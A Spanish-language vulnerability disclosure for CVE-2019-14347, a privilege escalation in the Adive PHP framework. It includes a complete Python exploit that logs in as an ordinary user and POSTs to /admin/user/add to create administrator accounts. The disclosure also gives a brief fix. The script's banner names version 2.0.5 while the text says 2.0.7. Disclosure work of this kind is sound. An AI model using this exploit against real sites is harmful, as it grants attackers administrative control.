CVE-2019-14347 Escalacion de privilegios en Adive

Adive Framework 2.0.7

CVE-2019-14347 Escalacion de privilegios en Adive

https://www.adive.es/

Adive es un Framework PHP 7 para desarrollar webs y aplicaciones en línea,administra bases de datos MySQL, es una alternativa rápida, fácil y excelente para generar plantillas teniendo así la principal estructura visual de cualquier pagina web. Esta versión incluye un kit de herramientas para desarrolladores para generar tablas, campos y entidades, formas de control y bases de datos. Adive es un ambicioso proyecto de Schben, cuyo objetivo es convertir la «codificación» en «diseño».

  • 📅 Vulnerabilidad descubierta por Pablo Santiago el 02/08/2019
  • 🐛 CVE-2019-14347
  • 🔗 Link del software web  y del github
  • 🐞 Versión vulnerable = 2.0.7 y anteriores probablemente.

Solución: Comprobar los permisos de los usuarios a la hora de realizar determinadas acciones.

Vector de ataque / Criticidad de la explotación

CRITICIDAD - 🟣 CRÍTICA 🟣

Es posible crear usuarios administradores y usuarios normales con un usuario que no tiene permisos para hacer determinadas acciones, ya que tiene privilegios/rol de un usuario normal y no de un un usuario con privilegios/rol de administrador.

Prueba de Concepto (PoC)

La siguiente imagen muestra como estamos logeados con un usuario user, normal sin privilegios.

CVE-2019-14347 Escalacion de privilegios en Adive

La siguiente imagen es la iniciación de la ejecución del exploit que permite crear los usuarios, puede verse la ejecución completa del exploit

CVE-2019-14347 Escalacion de privilegios en Adive

Realizando un peticion POST al recurso /admin/user/add y añadiendo los parámetros UserName, userUsername,pass,cpass y permission, es posible la creación de cualquier usuario.

Código del exploit

import requests
import sys

session = requests.Session()

http_proxy  = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"

proxyDict = { 
	              "http"  : http_proxy, 
	              "https" : https_proxy
	            }
print('[*****************************************]')
print('[ BYPASSING Adive Framework Version.2.0.5 ]')
print('[*****************************************]''\n')



print('[+]Login with the correct credentials:' '\n')		
		
user = input('[+]user:')
password = input('[+]password:')
print('\n')

url = 'http://localhost/adive/admin/login'
values = {'user': user,
          'password': password,
          }

r = session.post(url, data=values, proxies=proxyDict)
cookie = session.cookies.get_dict()['PHPSESSID']

print('Your session cookie is:'+ cookie +'\n')


host = sys.argv[1]
print('Create the new user:')
userName = input('[+]User:')
userUsername = input('[+]UserName:')
password = input('[+]Password:')
password2 = input('[+]Confirm Password:')
print('The possibles permission are: 1: Administrator, 2: Developer, 3:Editor')
permission = input('[+]permission:')

if (password == password2):
#configure proxy burp	
	
#hacer el request para la creacion de usuario
	data = { 
	'userName':userName,
	'userUsername':userUsername,
	'pass':password,
	'cpass':password2,
	'permission':permission,
	
	}

	headers= {
	'Cookie': 'PHPSESSID='+cookie
	}
     
	request = session.post(host+'/adive/admin/user/add', data=data, headers=headers, proxies=proxyDict)	
	print('+--------------------------------------------------+')
		
else:
	print ('Passwords dont match!!!')